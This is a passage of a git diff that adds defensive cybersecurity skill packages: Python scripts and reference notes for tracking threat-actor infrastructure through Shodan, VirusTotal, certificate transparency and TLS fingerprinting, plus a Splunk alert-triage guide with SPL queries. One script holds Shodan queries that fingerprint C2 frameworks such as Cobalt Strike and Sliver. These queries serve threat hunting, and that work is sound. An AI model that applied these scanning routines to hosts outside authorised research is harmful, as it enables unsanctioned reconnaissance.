/shodan/host/{ip}?key=` | API key | +| VirusTotal IP | `GET /api/v3/ip-addresses/{ip}` | x-apikey header | +| VirusTotal Domain | `GET /api/v3/domains/{domain}` | x-apikey header | +| SecurityTrails | `GET /v1/domain/{d}/subdomains` | APIKEY header | +| RDAP WHOIS | `GET https://rdap.org/domain/{d}` | None | + +## Network Fingerprinting + +| Method | Tool | Description | +|--------|------|-------------| +| JARM | jarm.py | Active TLS server fingerprint | +| JA3S | Zeek/Wireshark | Passive TLS Server Hello hash | +| Favicon hash | Shodan `http.favicon.hash` | mmh3 hash of favicon.ico | +| HTTP body hash | SHA-256 | Response body fingerprint | +| Server banner | HTTP Server header | Software identification | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | API queries to Shodan/VT | +| `ssl` | stdlib | TLS certificate retrieval | +| `socket` | stdlib | DNS resolution, connections | +| `hashlib` | stdlib | Certificate/content fingerprinting | + +## References + +- Shodan API: https://developer.shodan.io/api +- VirusTotal API v3: https://docs.virustotal.com/reference/overview +- Certificate Transparency: https://certificate.transparency.dev/ +- JARM: https://github.com/salesforce/jarm diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/references/standards.md b/skills/cybersecurity/tracking-threat-actor-infrastructure/references/standards.md new file mode 100644 index 00000000..bbcc2be9 --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/references/standards.md @@ -0,0 +1,46 @@ +# Standards and Frameworks Reference + +## STIX 2.1 Infrastructure Object +```json +{ + "type": "infrastructure", + "name": "C2 Server", + "infrastructure_types": ["command-and-control"], + "description": "Cobalt Strike TeamServer at 198.51.100.1", + "first_seen": "2025-01-01T00:00:00Z", + "last_seen": "2025-06-01T00:00:00Z" +} +``` + +## Diamond Model of Intrusion Analysis +- **Adversary**: Threat actor or group +- **Capability**: Tools, techniques, and malware +- **Infrastructure**: C2 servers, domains, hosting +- **Victim**: Targeted organization or individual + +## Infrastructure Types (STIX vocabulary) +- command-and-control, botnet, exfiltration, hosting-malware +- hosting-target-lists, phishing, staging, undefined + +## Network Fingerprinting Methods +| Method | Type | Description | +|--------|------|-------------| +| JARM | Active | TLS server fingerprint from 10 TLS handshakes | +| JA3S | Passive | Server Hello hash from TLS negotiation | +| JA3 | Passive | Client Hello hash for client fingerprinting | +| Favicon Hash | Active | HTTP favicon file hash | +| HTTP Headers | Active/Passive | Server banner and header fingerprinting | +| SSH Key | Active | SSH host key fingerprint | + +## Passive DNS Record Types +- A/AAAA: Domain to IP mapping +- CNAME: Domain alias +- MX: Mail server records +- NS: Nameserver records +- TXT: Text records (SPF, DKIM, verification) + +## References +- [Diamond Model Paper](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) +- [STIX Infrastructure](https://docs.oasis-open.org/cti/stix/v2.1/os/stix-v2.1-os.html#_jo3k1o6lr9) +- [JARM](https://github.com/salesforce/jarm) +- [JA3/JA3S](https://github.com/salesforce/ja3) diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/references/workflows.md b/skills/cybersecurity/tracking-threat-actor-infrastructure/references/workflows.md new file mode 100644 index 00000000..44ffbcf8 --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/references/workflows.md @@ -0,0 +1,50 @@ +# Infrastructure Tracking Workflows + +## Workflow 1: IP-Centric Pivoting +``` +[Known C2 IP] --> [Shodan/Censys] --> [Service Fingerprints] + | | + v v +[Passive DNS] --> [Associated Domains] --> [WHOIS Analysis] --> [Registrant Pivot] + | | + v v +[SSL Certs] --> [Subject Alt Names] --> [New Domains] --> [Additional IPs] +``` + +## Workflow 2: Domain-Centric Pivoting +``` +[Known C2 Domain] --> [DNS History] --> [Historical IPs] --> [Co-hosted Domains] + | | + v v + [CT Logs] --> [Subdomains] --> [Infrastructure Map] --> [Shared Hosting Analysis] + | + v + [WHOIS] --> [Registrant/Email] --> [Other Registered Domains] +``` + +## Workflow 3: C2 Framework Hunting +``` +[C2 Signature] --> [Shodan Search] --> [Candidate Servers] --> [Validation] + | + v + [JARM Fingerprint] + | + v + [Confirm C2 Type] + | + v + [Track Over Time] +``` + +## Workflow 4: Continuous Monitoring +``` +[Watchlist IPs/Domains] --> [Scheduled Scans] --> [Change Detection] --> [Alerts] + | + +--------+--------+ + | | | + v v v + [New Port] [DNS Change] [New Cert] + | | | + v v v + [Investigate] [Update TI] [Share] +``` diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/scripts/agent.py b/skills/cybersecurity/tracking-threat-actor-infrastructure/scripts/agent.py new file mode 100755 index 00000000..a62516c2 --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for tracking threat actor infrastructure. + +Uses passive DNS, certificate transparency, Shodan, WHOIS, and +network fingerprinting to discover, pivot across, and map +adversary-controlled infrastructure. +""" + +import json +import sys +import socket +import ssl +import hashlib +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class ThreatInfraTracker: + """Tracks and pivots across threat actor infrastructure.""" + + def __init__(self, shodan_key=None, vt_key=None, output_dir="./threat_infra"): + self.shodan_key = shodan_key + self.vt_key = vt_key + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + self.infrastructure = {} + + def _get(self, url, params=None, headers=None, timeout=10): + if not requests: + return None + try: + return requests.get(url, params=params, headers=headers, timeout=timeout) + except requests.RequestException: + return None + + def query_shodan(self, ip): + """Query Shodan for host information and services.""" + if not self.shodan_key: + return {"error": "No Shodan API key"} + resp = self._get(f"https://api.shodan.io/shodan/host/{ip}", + params={"key": self.shodan_key}) + if resp and resp.status_code == 200: + data = resp.json() + result = { + "ip": ip, "org": data.get("org"), "asn": data.get("asn"), + "os": data.get("os"), "ports": data.get("ports", []), + "hostnames": data.get("hostnames", []), + "vulns": data.get("vulns", []), + "country": data.get("country_code"), + } + self.infrastructure[ip] = result + return result + return None + + def query_virustotal(self, indicator, indicator_type="ip"): + """Query VirusTotal for IP/domain reputation.""" + if not self.vt_key: + return {"error": "No VT API key"} + type_map = {"ip": "ip-addresses", "domain": "domains", "hash": "files"} + endpoint = type_map.get(indicator_type, "ip-addresses") + resp = self._get(f"https://www.virustotal.com/api/v3/{endpoint}/{indicator}", + headers={"x-apikey": self.vt_key}) + if resp and resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + result = { + "indicator": indicator, "type": indicator_type, + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "reputation": data.get("reputation", 0), + } + if stats.get("malicious", 0) > 3: + self.findings.append({"severity": "high", "type": "Malicious Infrastructure", + "detail": f"{indicator} flagged by {stats['malicious']} engines"}) + return result + return None + + def passive_dns_lookup(self, indicator): + """Query passive DNS via SecurityTrails-style API.""" + resp = self._get(f"https://api.securitytrails.com/v1/domain/{indicator}/subdomains", + headers={"APIKEY": "demo"}) + if resp and resp.status_code == 200: + return resp.json().get("subdomains", []) + try: + ips = socket.getaddrinfo(indicator, None) + return list({addr[4][0] for addr in ips}) + except socket.gaierror: + return [] + + def get_ssl_certificate(self, host, port=443): + """Retrieve SSL certificate details for fingerprinting.""" + try: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: + s.settimeout(5) + s.connect((host, port)) + cert = s.getpeercert(binary_form=True) + cert_hash = hashlib.sha256(cert).hexdigest() + der_info = s.getpeercert() + return { + "host": host, "sha256": cert_hash, + "subject": dict(x[0] for x in der_info.get("subject", [])) if der_info else {}, + "issuer": dict(x[0] for x in der_info.get("issuer", [])) if der_info else {}, + "serial": der_info.get("serialNumber") if der_info else None, + "not_after": der_info.get("notAfter") if der_info else None, + } + except Exception: + return None + + def check_whois(self, domain): + """Retrieve WHOIS data via RDAP for pivoting.""" + resp = self._get(f"https://rdap.org/domain/{domain}") + if resp and resp.status_code == 200: + data = resp.json() + registrar = None + for entity in data.get("entities", []): + if "registrar" in entity.get("roles", []): + registrar = entity.get("handle") + return { + "domain": domain, "status": data.get("status", []), + "registrar": registrar, + "nameservers": [ns.get("ldhName") for ns in data.get("nameservers", [])], + } + return None + + def fingerprint_http(self, ip, port=80): + """Fingerprint HTTP server for infrastructure correlation.""" + resp = self._get(f"http://{ip}:{port}/", timeout=5) + if not resp: + return None + headers = dict(resp.headers) + body_hash = hashlib.sha256(resp.content).hexdigest() + return { + "ip": ip, "port": port, "status": resp.status_code, + "server": headers.get("Server"), "content_type": headers.get("Content-Type"), + "body_hash": body_hash, "body_length": len(resp.content), + "headers_of_interest": {k: v for k, v in headers.items() + if k.lower() not in ("date", "content-length", "connection")}, + } + + def pivot_from_ip(self, ip): + """Perform infrastructure pivoting from a known IP.""" + result = {"ip": ip, "shodan": None, "vt": None, "ssl": None, "http": None} + result["shodan"] = self.query_shodan(ip) + result["vt"] = self.query_virustotal(ip, "ip") + result["ssl"] = self.get_ssl_certificate(ip) + result["http"] = self.fingerprint_http(ip) + return result + + def generate_report(self, indicators=None): + results = {} + if indicators: + for ind in indicators: + results[ind] = self.pivot_from_ip(ind) + + report = { + "report_date": datetime.utcnow().isoformat(), + "indicators_analyzed": len(indicators or []), + "pivot_results": results, + "infrastructure_map": self.infrastructure, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "threat_infra_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--shodan-key KEY] [--vt-key KEY]") + sys.exit(1) + indicators = [sys.argv[1]] + shodan_key = vt_key = None + if "--shodan-key" in sys.argv: + shodan_key = sys.argv[sys.argv.index("--shodan-key") + 1] + if "--vt-key" in sys.argv: + vt_key = sys.argv[sys.argv.index("--vt-key") + 1] + agent = ThreatInfraTracker(shodan_key, vt_key) + agent.generate_report(indicators) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/tracking-threat-actor-infrastructure/scripts/process.py b/skills/cybersecurity/tracking-threat-actor-infrastructure/scripts/process.py new file mode 100755 index 00000000..72d89b88 --- /dev/null +++ b/skills/cybersecurity/tracking-threat-actor-infrastructure/scripts/process.py @@ -0,0 +1,284 @@ +#!/usr/bin/env python3 +""" +Threat Actor Infrastructure Tracking Script + +Tracks and maps adversary infrastructure using: +- Shodan/Censys for service discovery +- Passive DNS for domain-IP relationships +- Certificate Transparency for certificate monitoring +- WHOIS for registration data pivoting + +Requirements: + pip install shodan requests stix2 + +Usage: + python process.py --ip 198.51.100.1 --shodan-key KEY + python process.py --domain evil.com --ct-search + python process.py --c2-hunt cobalt-strike --shodan-key KEY +""" + +import argparse +import json +import sys +from datetime import datetime +from collections import defaultdict +from typing import Optional + +import requests + +try: + import shodan +except ImportError: + shodan = None + + +class InfrastructureTracker: + """Track threat actor infrastructure across multiple data sources.""" + + def __init__(self, shodan_key: str = "", securitytrails_key: str = ""): + self.shodan_api = shodan.Shodan(shodan_key) if shodan and shodan_key else None + self.st_key = securitytrails_key + self.findings = {"ips": {}, "domains": {}, "certificates": [], "pivots": []} + + def shodan_host_lookup(self, ip: str) -> Optional[dict]: + """Look up IP on Shodan.""" + if not self.shodan_api: + print("[-] Shodan API not configured") + return None + try: + host = self.shodan_api.host(ip) + result = { + "ip": ip, + "org": host.get("org", ""), + "asn": host.get("asn", ""), + "isp": host.get("isp", ""), + "country": host.get("country_name", ""), + "city": host.get("city", ""), + "os": host.get("os"), + "ports": host.get("ports", []), + "vulns": host.get("vulns", []), + "hostnames": host.get("hostnames", []), + "services": [], + } + for svc in host.get("data", []): + service = { + "port": svc.get("port"), + "transport": svc.get("transport"), + "product": svc.get("product", ""), + "version": svc.get("version", ""), + "banner": svc.get("data", "")[:200], + } + ssl = svc.get("ssl", {}) + if ssl: + service["jarm"] = ssl.get("jarm", "") + service["ja3s"] = ssl.get("ja3s", "") + cert = ssl.get("cert", {}) + if cert: + service["cert_subject"] = cert.get("subject", {}) + service["cert_issuer"] = cert.get("issuer", {}) + service["cert_expires"] = cert.get("expires", "") + result["services"].append(service) + + self.findings["ips"][ip] = result + print(f"[+] Shodan: {ip} - {result['org']} - Ports: {result['ports']}") + return result + except Exception as e: + print(f"[-] Shodan error for {ip}: {e}") + return None + + def search_c2_servers(self, framework: str, limit: int = 50) -> list: + """Search for C2 framework servers on Shodan.""" + if not self.shodan_api: + return [] + + queries = { + "cobalt-strike": 'product:"Cobalt Strike Beacon"', + "metasploit": 'product:"Metasploit"', + "sliver": 'ssl:"multiplayer" ssl:"operators"', + "havoc": 'http.html_hash:-1472705893', + "brute-ratel": 'http.html_hash:"-1957161625"', + } + + query = queries.get(framework.lower(), framework) + try: + results = self.shodan_api.search(query, limit=limit) + servers = [] + for match in results.get("matches", []): + servers.append({ + "ip": match["ip_str"], + "port": match["port"], + "org": match.get("org", ""), + "asn": match.get("asn", ""), + "country": match.get("location", {}).get("country_name", ""), + "timestamp": match.get("timestamp", ""), + }) + print(f"[+] Found {len(servers)} {framework} servers") + return servers + except Exception as e: + print(f"[-] C2 search error: {e}") + return [] + + def ct_log_search(self, domain: str) -> Optional[dict]: + """Search Certificate Transparency logs via crt.sh.""" + try: + resp = requests.get( + f"https://crt.sh/?q=%.{domain}&output=json", timeout=30 + ) + if resp.status_code == 200: + certs = resp.json() + unique_domains = set() + for cert in certs: + for name in cert.get("name_value", "").split("\n"): + name = name.strip() + if name: + unique_domains.add(name) + + result = { + "domain": domain, + "total_certs": len(certs), + "unique_domains": sorted(unique_domains), + "recent_certs": [ + { + "common_name": c.get("common_name", ""), + "issuer": c.get("issuer_name", ""), + "not_before": c.get("not_before", ""), + "not_after": c.get("not_after", ""), + } + for c in certs[:20] + ], + } + self.findings["certificates"].append(result) + print(f"[+] CT: {domain} - {len(certs)} certs, {len(unique_domains)} domains") + return result + except Exception as e: + print(f"[-] CT search error: {e}") + return None + + def passive_dns_securitytrails(self, domain: str) -> Optional[dict]: + """Query SecurityTrails passive DNS.""" + if not self.st_key: + print("[-] SecurityTrails API key not configured") + return None + try: + resp = requests.get( + f"https://api.securitytrails.com/v1/domain/{domain}", + headers={"APIKEY": self.st_key}, + timeout=30, + ) + if resp.status_code == 200: + data = resp.json() + dns = data.get("current_dns", {}) + result = { + "domain": domain, + "a_records": [ + r.get("ip") for r in dns.get("a", {}).get("values", []) + ], + "mx_records": [ + r.get("host") for r in dns.get("mx", {}).get("values", []) + ], + "ns_records": [ + r.get("nameserver") for r in dns.get("ns", {}).get("values", []) + ], + "alexa_rank": data.get("alexa_rank"), + } + self.findings["domains"][domain] = result + print(f"[+] pDNS: {domain} -> {result['a_records']}") + return result + except Exception as e: + print(f"[-] SecurityTrails error: {e}") + return None + + def pivot_from_ip(self, ip: str) -> dict: + """Perform full infrastructure pivot from an IP address.""" + pivot_results = {"origin_ip": ip, "discovered": []} + + # Shodan lookup + shodan_data = self.shodan_host_lookup(ip) + if shodan_data: + for hostname in shodan_data.get("hostnames", []): + pivot_results["discovered"].append({ + "type": "domain", + "value": hostname, + "source": "shodan_hostname", + }) + + for svc in shodan_data.get("services", []): + cert_cn = svc.get("cert_subject", {}).get("CN", "") + if cert_cn and cert_cn != ip: + pivot_results["discovered"].append({ + "type": "domain", + "value": cert_cn, + "source": "ssl_certificate", + }) + + # CT search for discovered domains + seen_domains = set() + for item in pivot_results["discovered"]: + if item["type"] == "domain": + domain = item["value"] + if domain not in seen_domains: + seen_domains.add(domain) + ct = self.ct_log_search(domain) + if ct: + for d in ct.get("unique_domains", []): + if d not in seen_domains: + pivot_results["discovered"].append({ + "type": "domain", + "value": d, + "source": "ct_log", + }) + + self.findings["pivots"].append(pivot_results) + return pivot_results + + def generate_report(self) -> dict: + """Generate infrastructure tracking report.""" + return { + "timestamp": datetime.utcnow().isoformat(), + "summary": { + "ips_tracked": len(self.findings["ips"]), + "domains_tracked": len(self.findings["domains"]), + "certificates_found": sum( + c.get("total_certs", 0) for c in self.findings["certificates"] + ), + "pivots_performed": len(self.findings["pivots"]), + }, + "findings": self.findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="Infrastructure Tracking Tool") + parser.add_argument("--ip", help="IP address to investigate") + parser.add_argument("--domain", help="Domain to investigate") + parser.add_argument("--c2-hunt", help="C2 framework to hunt") + parser.add_argument("--ct-search", action="store_true", help="Search CT logs") + parser.add_argument("--pivot", action="store_true", help="Full pivot from IP") + parser.add_argument("--shodan-key", default="", help="Shodan API key") + parser.add_argument("--st-key", default="", help="SecurityTrails API key") + parser.add_argument("--output", default="infra_report.json", help="Output file") + + args = parser.parse_args() + tracker = InfrastructureTracker(args.shodan_key, args.st_key) + + if args.ip and args.pivot: + results = tracker.pivot_from_ip(args.ip) + print(json.dumps(results, indent=2)) + elif args.ip: + tracker.shodan_host_lookup(args.ip) + elif args.domain and args.ct_search: + tracker.ct_log_search(args.domain) + elif args.domain: + tracker.passive_dns_securitytrails(args.domain) + elif args.c2_hunt: + servers = tracker.search_c2_servers(args.c2_hunt) + print(json.dumps(servers, indent=2)) + + report = tracker.generate_report() + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/triaging-security-alerts-in-splunk/LICENSE b/skills/cybersecurity/triaging-security-alerts-in-splunk/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/triaging-security-alerts-in-splunk/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/triaging-security-alerts-in-splunk/SKILL.md b/skills/cybersecurity/triaging-security-alerts-in-splunk/SKILL.md new file mode 100644 index 00000000..2ac77b7f --- /dev/null +++ b/skills/cybersecurity/triaging-security-alerts-in-splunk/SKILL.md @@ -0,0 +1,224 @@ +--- +name: triaging-security-alerts-in-splunk +description: 'Triages security alerts in Splunk Enterprise Security by classifying + severity, investigating notable events, correlating related telemetry, and making + escalation or closure decisions using SPL queries and the Incident Review dashboard. + Use when SOC analysts face queued alerts from correlation searches, need to prioritize + investigation order, or must document triage decisions for handoff to Tier 2/3 analysts. + + ' +domain: cybersecurity +subdomain: soc-operations +tags: +- soc +- splunk +- alert-triage +- siem +- notable-events +- correlation-search +- incident-review +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- DE.CM-01 +- DE.AE-02 +- RS.MA-01 +- DE.AE-06 +mitre_attack: +- T1078 +- T1685.002 +- T1685.005 +- T1566 +--- +# Triaging Security Alerts in Splunk + +## When to Use + +Use this skill when: +- SOC Tier 1 analysts need to process the Incident Review queue in Splunk Enterprise Security (ES) +- Notable events require rapid severity classification and initial investigation before escalation +- Alert volume exceeds capacity and analysts need a systematic triage methodology +- Management requests metrics on alert disposition (true positive, false positive, benign) + +**Do not use** for deep forensic investigation — escalate to Tier 2/3 after initial triage confirms malicious activity. + +## Prerequisites + +- Splunk Enterprise Security 7.x+ with Incident Review dashboard configured +- CIM-normalized data sources (Windows Event Logs, firewall, proxy, endpoint) +- Role with `ess_analyst` capability for notable event status updates +- Familiarity with SPL (Search Processing Language) + +## Workflow + +### Step 1: Access Incident Review and Prioritize Queue + +Open the Incident Review dashboard in Splunk ES. Sort notable events by urgency (calculated from severity x priority). Apply filters to focus on unassigned events: + +```spl +| `notable` +| search status="new" OR status="unassigned" +| sort - urgency +| table _time, rule_name, src, dest, user, urgency, status +| head 50 +``` + +Focus on Critical and High urgency events first. Group related alerts by `src` or `dest` to identify attack chains rather than treating each alert independently. + +### Step 2: Investigate the Notable Event Context + +For each notable event, pivot to raw events. Example for a brute force alert: + +```spl +index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 +src_ip="192.168.1.105" +earliest=-1h latest=now +| stats count by src_ip, dest, user, status +| where count > 10 +| sort - count +``` + +Check if the source IP is internal (lateral movement) or external (perimeter attack). Cross-reference with asset and identity lookups: + +```spl +| `notable` +| search rule_name="Brute Force Access Behavior Detected" +| lookup asset_lookup_by_cidr ip AS src OUTPUT category, owner, priority +| lookup identity_lookup_expanded identity AS user OUTPUT department, managedBy +| table _time, src, dest, user, category, owner, department +``` + +### Step 3: Correlate Across Data Sources + +Check if the same source appears in other telemetry: + +```spl +index=proxy OR index=firewall src="192.168.1.105" earliest=-24h +| stats count by index, sourcetype, action, dest_port +| sort - count +``` + +Look for corroborating evidence: Did the same IP also trigger DNS anomalies, proxy blocks, or endpoint detection alerts? + +```spl +index=main sourcetype="cisco:asa" src="192.168.1.105" action=blocked earliest=-24h +| timechart span=1h count by dest_port +``` + +### Step 4: Check Threat Intelligence Enrichment + +Query the threat intelligence framework for known IOCs: + +```spl +| `notable` +| search search_name="Threat - Threat Intelligence Match - Rule" +| lookup threat_intel_by_ip ip AS src OUTPUT threat_collection, threat_description, threat_key +| table _time, src, dest, threat_collection, threat_description, weight +| where weight >= 3 +``` + +For domains, check against threat lists: + +```spl +| tstats count from datamodel=Web where Web.url="*evil-domain.com*" by Web.src, Web.url, Web.status +| rename Web.* AS * +``` + +### Step 5: Classify and Disposition the Alert + +Update the notable event status in Incident Review: + +| Disposition | Criteria | Action | +|-------------|----------|--------| +| **True Positive** | Corroborating evidence confirms malicious activity | Escalate to Tier 2, create incident ticket | +| **Benign True Positive** | Alert fired correctly but activity is authorized (e.g., pen test) | Close with comment, add suppression if recurring | +| **False Positive** | Alert logic matched benign behavior | Close, tune correlation search, document pattern | +| **Undetermined** | Insufficient data to classify | Assign to Tier 2 with investigation notes | + +Update via Splunk ES UI or REST API: + +```spl +| sendalert update_notable_event param.status="2" param.urgency="critical" + param.comment="Confirmed brute force from compromised workstation. Escalated to IR-2024-0431." + param.owner="analyst_jdoe" +``` + +### Step 6: Document Triage Findings + +Record in the notable event comment field: +- Source/destination involved +- Data sources examined +- Correlation findings (related alerts, TI matches) +- Disposition rationale +- Next steps for escalation + +```spl +| `notable` +| search rule_name="Brute Force*" status="closed" +| stats count by status_label, disposition +| addtotal +``` + +### Step 7: Track Triage Metrics + +Monitor triage performance over time: + +```spl +| `notable` +| where status_end > 0 +| eval triage_time = status_end - _time +| stats avg(triage_time) AS avg_triage_sec, median(triage_time) AS med_triage_sec, + count by rule_name, status_label +| eval avg_triage_min = round(avg_triage_sec/60, 1) +| sort - count +| table rule_name, status_label, count, avg_triage_min +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Notable Event** | Splunk ES alert generated by a correlation search that meets defined risk or threshold criteria | +| **Urgency** | Calculated field combining event severity with asset/identity priority (Critical/High/Medium/Low/Informational) | +| **Correlation Search** | Scheduled SPL query that detects threat patterns and generates notable events when conditions match | +| **CIM** | Common Information Model — Splunk's normalized field naming convention enabling cross-source queries | +| **Disposition** | Final classification of an alert: true positive, false positive, benign true positive, or undetermined | +| **MTTD/MTTR** | Mean Time to Detect / Mean Time to Respond — key SOC metrics measuring detection and resolution speed | + +## Tools & Systems + +- **Splunk Enterprise Security**: SIEM platform providing Incident Review 